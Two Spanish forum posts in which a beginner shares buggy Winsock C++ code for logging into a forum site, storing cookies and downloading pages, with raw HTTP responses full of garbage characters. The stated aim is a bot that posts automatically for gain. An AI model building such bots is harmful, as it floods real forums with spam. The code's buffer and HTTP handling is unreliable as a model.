Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Kaxperday

#621
Soy un novato con esto (de todas formas por supuesto quiero aprender si queréis compartir conmigo apuntes de HTTP sobre esto será un placer estudiarlos xD), haber os paso mis objetivos antes que nada, quiero hacer un bot que inicie sesión en una web pasandole user y pass por teclado y comience a postear en temas automáticamente para obtener beneficios xD, soy casi nuevo en esto pero ganas no me faltan.

El código actual que uso para iniciar sesión es el siguiente:

Código (cpp) [Seleccionar]

int inicia_sesion(char* user, char *contraseña)
{
WSADATA wsa;
SOCKET sock;
unsigned short tamaño;
struct sockaddr_in directorio;
char datos[20000], variables[500];
char cookie[1000], auxiliar[50];

WSAStartup(MAKEWORD(2, 0), &wsa);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("Se ha producido un error al inicializar el socket.");
exit(0);
}
else
{
directorio.sin_family = AF_INET;
directorio.sin_port = htons(PUERTO);
directorio.sin_addr.s_addr = inet_addr(IP);

//action = login&ref = &email = usuariooo&password = jhjhjh&cap =
strcpy_s(variables, "action=");
strcat_s(variables, "login");
strcat_s(variables, "&ref=");
strcat_s(variables, "");
strcat_s(variables, "&email=");
strcat_s(variables, user);
strcat_s(variables, "&password=");
strcat_s(variables, contraseña);
strcat_s(variables, "&cap=");
strcat_s(variables, "");

tamaño = strlen(variables);
_itoa_s(tamaño, auxiliar, 10);

ifstream cookies("cookies.txt");
bool var = false;

strcpy_s(datos, "POST /login HTTP/1.1\r\n");
strcat_s(datos, "Host: dominio.com\r\n");
strcat_s(datos, "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0\r\n");
strcat_s(datos, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n");
strcat_s(datos, "Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3\r\n");
strcat_s(datos, "Accept-Encoding: gzip, deflate\r\n");
strcat_s(datos, "Referer: http ://dominio.com/login");
while (cookies.getline(cookie, 400) && strcmp(cookie, "") != 0)
{
var = true;
strcat_s(datos, "\r\nCookie: ");
strcat_s(datos, cookie);
strcat_s(datos, ";__insp_nv = true; __insp_ref = d; __insp_norec_sess = true; __insp_wid = 1437863939; _gat = 1; _gat_newTracker = 1; lfbs = f74842e072e54dff920fc7f53b775edf63a098e1%7E1");
}
if (var == false)
{
strcat_s(datos, "\r\n");
}
strcat_s(datos, "Connection: keep - alive\r\n");
strcat_s(datos, "Cache-Control: max-age=0\r\n");
strcat_s(datos, "Content-type: application/x-www-form-urlencoded\r\n");
strcat_s(datos, "Content-length: ");
strcat_s(datos, auxiliar);

strcat_s(datos, "\r\n\r\n");
strcat_s(datos, variables);

cookies.close();
connect(sock, (struct sockaddr*)&directorio, sizeof(directorio));
send(sock, datos, strlen(datos), 0);
printf("mando: %s", datos); system("pause");
strcpy_s(datos, "");
recv(sock, datos, 10000, 0);
printf("recibo: %s", datos); system("pause");
closesocket(sock);

ofstream hookies("cookies.txt");
int tam = strlen(datos), i, j;
char hookie[500];
for (i = 0; i < tam; i++)
{
if ((datos[i] == 'S') &&
(datos[i + 1] == 'e') &&
(datos[i + 2] == 't') &&
(datos[i + 3] == '-') &&
(datos[i + 4] == 'C') &&
(datos[i + 5] == 'o') &&
(datos[i + 6] == 'o') &&
(datos[i + 7] == 'k') &&
(datos[i + 8] == 'i') &&
(datos[i + 9] == 'e') &&
(datos[i + 10] == ':') &&
(datos[i + 11] == ' '))
{
i = i + 12;
j = 0;
while (datos[i] != ';')
{
cookie[j] = datos[i];
i++;
j++;
}
cookie[j] = '*';
j = 0;
for (int k = 0; k < strlen(cookie); k++)
{
if (cookie[k] != '*')
{
hookie[j] = cookie[k];
j++;
}
else
{
hookie[j] = '\0';
break;
}
}
hookies << hookie << endl;
strcpy_s(cookie, "");
strcpy_s(hookie, "");
}
}
hookies.close();
}
return 1;//habría que comprobar si se inicio bien sino distinto de 1.
}


La basura me salen tantos caracteres como los que sobran al definir datos[20000], que es la variable que envía la petición y que recibe la respuesta. A veces se sobrescribe parte de la respuesta, no se porqué.

El código admito puede ser engorroso pero al menos quiero ver si funciona en modo prueba, y luego ya lo perfeccionaría del todo. De todas formas eso de strcmp() no sé como sería, de todas formas si así distingue bien las cookies no se para que darle más vueltas xP.

También me llama la atención que en una web que tengo un simple POST me carga en la variable todo el código html con la cabecera de respuesta, en cambio aquí quiero descargar el html y no me sale nada, es un html público que no requiere iniciar sesión y pueden ver todos, lo necesito descargar para extrar de el los foros y subforos que tiene la web y desde ahí poder postear para cada uno de ellos.

Este es el código utilizado para "intentar" descargar el html desde donde extraería foros y subforos:

Código (cpp) [Seleccionar]

void descarga_foros()
{
WSADATA wsa;
SOCKET sock;
unsigned short tamaño;
struct sockaddr_in directorio;
char datos[20000], auxiliar[50];
char cookie[1000];

WSAStartup(MAKEWORD(2, 0), &wsa);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("Se ha producido un error al inicializar el socket.");
exit(0);
}
else
{
directorio.sin_family = AF_INET;
directorio.sin_port = htons(PUERTO);
directorio.sin_addr.s_addr = inet_addr(IP);

ifstream cookies("cookies.txt");

strcpy_s(datos, "POST /forum HTTP/1.1\r\n");
strcat_s(datos, "Host: dominio.com\r\n");
strcat_s(datos, "Content-type: application/x-www-form-urlencoded");
while (cookies.getline(cookie, 400) && strcmp(cookie, "") != 0)
{
strcat_s(datos, "\r\nCookie: ");
strcat_s(datos, cookie);
}
strcat_s(datos, "\r\n\r\n");
cookies.close();

connect(sock, (struct sockaddr*)&directorio, sizeof(directorio));
send(sock, datos, strlen(datos), 0);
printf("%s", datos);
strcpy_s(datos, "");
recv(sock, datos, 10000, 0);
closesocket(sock);
printf("Recibo: %s", datos); system("pause");
ofstream cookiez("cookies.txt",ios::ate);
int tam = strlen(datos), i, j;
char hookie[500];
for (i = 0; i < tam; i++)
{
if ((datos[i] == 'S') &&
(datos[i + 1] == 'e') &&
(datos[i + 2] == 't') &&
(datos[i + 3] == '-') &&
(datos[i + 4] == 'C') &&
(datos[i + 5] == 'o') &&
(datos[i + 6] == 'o') &&
(datos[i + 7] == 'k') &&
(datos[i + 8] == 'i') &&
(datos[i + 9] == 'e') &&
(datos[i + 10] == ':') &&
(datos[i + 11] == ' '))
{
i = i + 12;
j = 0;
while (datos[i] != ';')
{
cookie[j] = datos[i];
i++;
j++;
}
cookie[j] = '*';
j = 0;
for (int k = 0; k < strlen(cookie); k++)
{
if (cookie[k] != '*')
{
hookie[j] = cookie[k];
j++;
}
else
{
hookie[j] = '\0';
break;
}
}
cookiez << hookie << endl;
strcpy_s(cookie, "");
strcpy_s(hookie, "");
}
}
cookiez.close();
for (i = 0; i < tam; i++)//algoritmo para sacar, va a div class="col"> donde se encuentran los temas del foro principal, luego en otra funcion hago lo mismo para subforos y en otra para los temas de los subforos. <div class = "col"> Está sin hacer porque no consigo bajar el html, público quizás detecte que es un bot e impida su descarga tendremos que evitarlo pues.

}
}


Bueno quizás eso de la basura sea clave porque quizás la basura nos cubra un link importante como el link del favicon desde el cual descargar todo lo demás no sé.

Pero aún así interesa el html del forum (foro publico y principal) allí buscaría los div con cierto identificador para aislar cada tema de foro y subforos...

Al ejecutar el descargador_foros() sin nada previo (sin cookies obtengo):

(Acabo de probarlo de nuevo, y oh lala me debe de enviar 23000 caracteres de respuesta es decir el html, pero no veo nada solo basura..)

POST /forum HTTP/1.1
Host: dominio.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://dominio.com/forum
Connection: keep-alive
Cache-Control: max-age=0




HTTP/1.0 200 OK
Server: nginx
Date: Mon, 27 Oct 2014 11:49:13 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 23068
Set-Cookie: dsi=0372200903e819a94eb7f81de8a194f34f9595e8%7ENA44FozKp0xVoOmhAupn2ZeFIqOoYQmrakZ%2FMcLMdaDeHvXFkgql9Kn%2BkhOgYFAkU5WeJTfVgy96Qfv7PkhuCCxV6eZ3kJyiNJT3DyRMYBMC7FvbrM%2B%2Fj54Eb4SnCBIHYLRCfQAlirlyHw%3D%3D; expires=Mon, 27-Oct-2014 23:49:13 GMT; Max-Age=43200; path=/; domain=dominio.com
Set-Cookie: dsi=aa77274477c182b15b8cf3ebf5954b33144cd0d4%7EWh2CtRrkLJfyjN7Rrm1WjXbM%2FVepKDzocfoU9kW8v8EAnzIeJxhlQuAStSAlQxTnT53oQNPnMRtVpUNxE%2BCufGHPNVTiGdWv2e1545JGOLCoE2WIX%2BcJV1jwMkgO6TWhEwdC3PE9Sug12Q%3D%3D; expires=Mon, 27-Oct-2014 23:49:13 GMT; Max-Age=43200; path=/; domain=dominio.com
Vary: Accept-Encoding
Content-Encoding: gzip
X-Cache: MISS from ubuntu
X-Cache-Lookup: MISS from ubuntu:3128
Via: 1.1 ubuntu:3128 (squid/2.7.STABLE9)
Connection: keep-alive


þþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþ(de esto 23000 cacas iguales xD)þþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþ


Pero me sale basura nada de code aunque segun pone el content-length es de 23000.
He probado a reenviar la misma funcion una vez realizada la primera con las cookies de la primera que nos dió el server y el server nos envía la misma cadena con la distinción de que tenía 2 caracteres más el content-length, prueba de que es el html dinámico que buscamos. Pero sale basura.

Eso creo que es todo hasta ahora, un inicio de sesión fallido o no (pues lo desconozco xd, supongo que si porque no me da cookies que no sean las de nombre dsi), y un intento de descarga de un html generado en dominio.com/forum que me sale basura en su lugar.

Edito: He puesto 30000 de tamaño a datos y se me sobreescribe de basura ahora la cmd jajaja xD, y si solo de basura, antes tenia 20000 y no tenia espacio para recibir todo, ahora debería tener pero sale basura, puede ser o que algo tenga o haga mal, o que la web envíe un fake de basura aposta.

Si alguien quiere probar el código y se implica un poco más que me mande un privado que le mando mi proyecto en visual studio 13 haber que tal le va.

Si os habéis leido esto que lo dudo SOY FELIZ  :rolleyes: :rolleyes: :rolleyes: :rolleyes: :rolleyes:
Gracias por las respuestas sigo con ello, Saludos.
#622
Hola siento abrir otro tema, pero el anterior dejo de interesarme ahora tengo otro proyecto en mente, no se como va esto de las cookies. Haber quiero iniciar sesión en una página web con un programa en C/C++, ¿que debo hacer?

He probado a mandar esto:

Código (cpp) [Seleccionar]

int inicia_sesion(char* user, char *contraseña)
{
WSADATA wsa;
SOCKET sock;
unsigned short tamaño;
struct sockaddr_in directorio;
char datos[1500], variables[250];
char cookie[1000], auxiliar[50];

WSAStartup(MAKEWORD(2, 0), &wsa);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("Se ha producido un error al inicializar el socket.");
exit(0);
}
else
{
directorio.sin_family = AF_INET;
directorio.sin_port = htons(PUERTO);
directorio.sin_addr.s_addr = inet_addr(IP);

strcpy_s(variables, "email=");
strcat_s(variables, user);
strcat_s(variables, "&password=");
strcat_s(variables, contraseña);
tamaño = strlen(variables);
_itoa_s(tamaño, auxiliar, 10);

strcpy_s(datos, "POST /login HTTP/1.1\r\n");
strcat_s(datos, "Host: dominio.com\r\n");
strcat_s(datos, "Content-type: application/x-www-form-urlencoded\r\n");
strcat_s(datos, "Content-length: ");
strcat_s(datos, auxiliar);
strcat_s(datos, "\r\n\r\n");
strcat_s(datos, variables);

connect(sock, (struct sockaddr*)&directorio, sizeof(directorio));
send(sock, datos, strlen(datos), 0);
strcpy_s(datos, "");
recv(sock, datos, 1000, 0);
closesocket(sock);

ofstream cookies("cookies.txt");
int tam = strlen(datos), i, j;
char hookie[500];
for (i = 0; i < tam; i++)
{
if ((datos[i] == 'S') &&
(datos[i + 1] == 'e') &&
(datos[i + 2] == 't') &&
(datos[i + 3] == '-') &&
(datos[i + 4] == 'c') &&
(datos[i + 5] == 'o') &&
(datos[i + 6] == 'o') &&
(datos[i + 7] == 'k') &&
(datos[i + 8] == 'i') &&
(datos[i + 9] == 'e') &&
(datos[i + 10] == ':') &&
(datos[i + 11] == ' '))
{
i = i + 12;
j = 0;
while (datos[i] != ';')
{
cookie[j] = datos[i];
i++;
j++;
}
cookie[j] = '*';
j = 0;
for (int k = 0; k < strlen(cookie); k++)
{
if (cookie[k] != '*')
{
hookie[j] = cookie[k];
j++;
}
else
{
hookie[j] = '\0';
break;
}
}
cookies << hookie << endl;
strcpy_s(cookie, "");
strcpy_s(hookie, "");
}
}
}
return 1;//para controlar errores si falla al iniciar sesion (sin hacer)
}



Al realizar esta función recibo lo siguiente:

HTTP/1.0 200 OK

Server: nginx

Date: Sat, 25 Oct 2014 21:19:24 GMT

Content-Type: text/html; charset=utf-8

Set-Cookie: dsi=20031e9671a05b580df037d3b1a3e849deb8853c%7EuOo6w03xntjgPZiaVDorb8aI6mv5Jz24lLGcoIUZvRP3EkFmprDY39ITuyVfaqyimvryApNqmfNAuVnYIjiQB%2FvFuh%2FfwOOW%2Btk%2BsU3KbiD4cQiRHPEYjCExkV2fuqIi0Sd4KuFqsrpPNf0%3D; expires=Sun, 26-Oct-2014 09:19:24 GMT; Max-Age=43200; path=/; domain=dominio.com

Set-Cookie: dsi=79e5a61e2302be64f79e118ed6e0faaa397758a1%7EL93SIQyyIU495qVRvBzSSvq%2BYynpPCUA%2F5ICO5rcOX4odLkpSkipzv1f2oCsWK16Xpvd6MKsyBRygveshy0oHIiy41Y7HEQFuLvA6LdpXNQ%2FZRMyuSdJdm1sFSZCeJoSdfnZilh5zKbyTEBqJzuJRYZb9v5MXgqkFgtaEmACPmzuAGw%3D; expires=Sun, 26-Oct-2014 09:19:24 GMT; Max-Age=43200; path=/; domain=dominio.com

Vary: Accept-Encoding

X-Cache: MISS from ubuntu

X-Cache-Lookup: MISS from ubuntu:3128

Via: 1.1 ubuntu:3128 (squid/2.7.STABLE9)

Connection: close



þþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþÌÌÌÌÌÌÌÌ


Bien se supone que con el código anterior debería de guardar las cookies es "dsi" en un archivo cookies.txt pues bien ese archivo está vacío. Vale ahora ya tengo las cookies suponiendo que eso hubiera funcionado, ¿ahora que debo hacer?, ¿cómo sé si he iniciado sesión o no?.

Ahora quiero meter un post a un directorio de la página para extraer datos de los subforos:

Código (cpp) [Seleccionar]
void descarga_foros_subforos()//Entra a foro y descarga foros, luego sus subforos.
{
WSADATA wsa;
SOCKET sock;
unsigned short tamaño;
struct sockaddr_in directorio;
char datos[20000], auxiliar[50];
char cookie[1000];

WSAStartup(MAKEWORD(2, 0), &wsa);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("Se ha producido un error al inicializar el socket.");
exit(0);
}
else
{
directorio.sin_family = AF_INET;
directorio.sin_port = htons(PUERTO);
directorio.sin_addr.s_addr = inet_addr(IP);

ifstream cookies("cookies.txt");

strcpy_s(datos, "POST /foro HTTP/1.1\r\n");
strcat_s(datos, "Host: dominio.com\r\n");
strcat_s(datos, "User-Agent: Mozilla / 5.0 (Windows NT 6.2; WOW64) AppleWebKit"
"/ 537.36 (KHTML, like Gecko) Chrome / 38.0.2125.104 Safari / 537.36");
strcat_s(datos, "Content-type: application/x-www-form-urlencoded\r\n");
while (cookies.getline(cookie, 400) && strcmp(cookie, "") != 0)
{
strcat_s(datos, "\r\nSet-cookie: ");
strcat_s(datos, cookie);
}
strcat_s(datos, "\r\n\r\n");
cookies.close();

connect(sock, (struct sockaddr*)&directorio, sizeof(directorio));
send(sock, datos, strlen(datos), 0);
strcpy_s(datos, "");
recv(sock, datos, 20000, 0);
printf("Recibo: %s", datos); system("pause");
ofstream cookiez("cookies.txt",ios::ate);
int tam = strlen(datos), i, j;
char hookie[500];
for (i = 0; i < tam; i++)
{
if ((datos[i] == 'S') &&
(datos[i + 1] == 'e') &&
(datos[i + 2] == 't') &&
(datos[i + 3] == '-') &&
(datos[i + 4] == 'c') &&
(datos[i + 5] == 'o') &&
(datos[i + 6] == 'o') &&
(datos[i + 7] == 'k') &&
(datos[i + 8] == 'i') &&
(datos[i + 9] == 'e') &&
(datos[i + 10] == ':') &&
(datos[i + 11] == ' '))
{
i = i + 12;
j = 0;
while (datos[i] != ';')
{
cookie[j] = datos[i];
i++;
j++;
}
cookie[j] = '*';
j = 0;
for (int k = 0; k < strlen(cookie); k++)
{
if (cookie[k] != '*')
{
hookie[j] = cookie[k];
j++;
}
else
{
hookie[j] = '\0';
break;
}
}
cookiez << hookie << endl;
strcpy_s(cookie, "");
strcpy_s(hookie, "");
}
}
cookiez.close();
for (i = 0; i < tam; i++)
               {
                       //aqui deberia hacer una busqueda de todos los divs
                       //que contengan x cadena para que me saque todos los temas
                       //que contengan esa cadena.
                }
}
}


Pero al ejecutar esto, ya vamos mal pues de lo anterior no conseguimos guardar las cookies pues fallo, y ahora lo recibido es:

HTTP/1.0 200 OK

Server: nginx

Date: Sat, 25 Oct 2014 21:42:13 GMT

Content-Type: text/html; charset=utf-8

Set-Cookie: dsi=2a6854eb4a0c7ab311cb3036afa75b515c2b1a21%7EVgq4JI%2B77r1QvKwCQl8HYd6r4%2BQq92HB9xVz0SFy5kKeKKWp9grCQsKChkSAsvWUub3v0M8TTkVXXQFze5VtbjHqRYJxBBT2%2FyaduSDYk0dYvCD%2FFeY9otr%2FmG2CfwMJsm0%2FPGRg6mWtxZ4%3D; expires=Sun, 26-Oct-2014 09:42:13 GMT; Max-Age=43200; path=/; domain=dominio.com

Set-Cookie: dsi=6cc09e824f232cb19286c1dd44263e086976997f%7EtQWb1SKlSJuGZoqVdPU%2FjX8YUqr4DTSIwKrAXE0WlWCde%2FiV4LwHjZZHcAjHAVxxOq8g%2Bbnyym1LihOnxn3l1ZvFLFiaIoRqVf5tMQCArvDkL8%2FE2JlmE0dEyIuqW8KHXUw%2B8SAu6mM1tq0%3D; expires=Sun, 26-Oct-2014 09:42:13 GMT; Max-Age=43200; path=/; domain=dominio.com

Vary: Accept-Encoding

X-Cache: MISS from ubuntu

X-Cache-Lookup: MISS from ubuntu:3128

Via: 1.1 ubuntu:3128 (squid/2.7.STABLE9)

Connection: close



þþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþ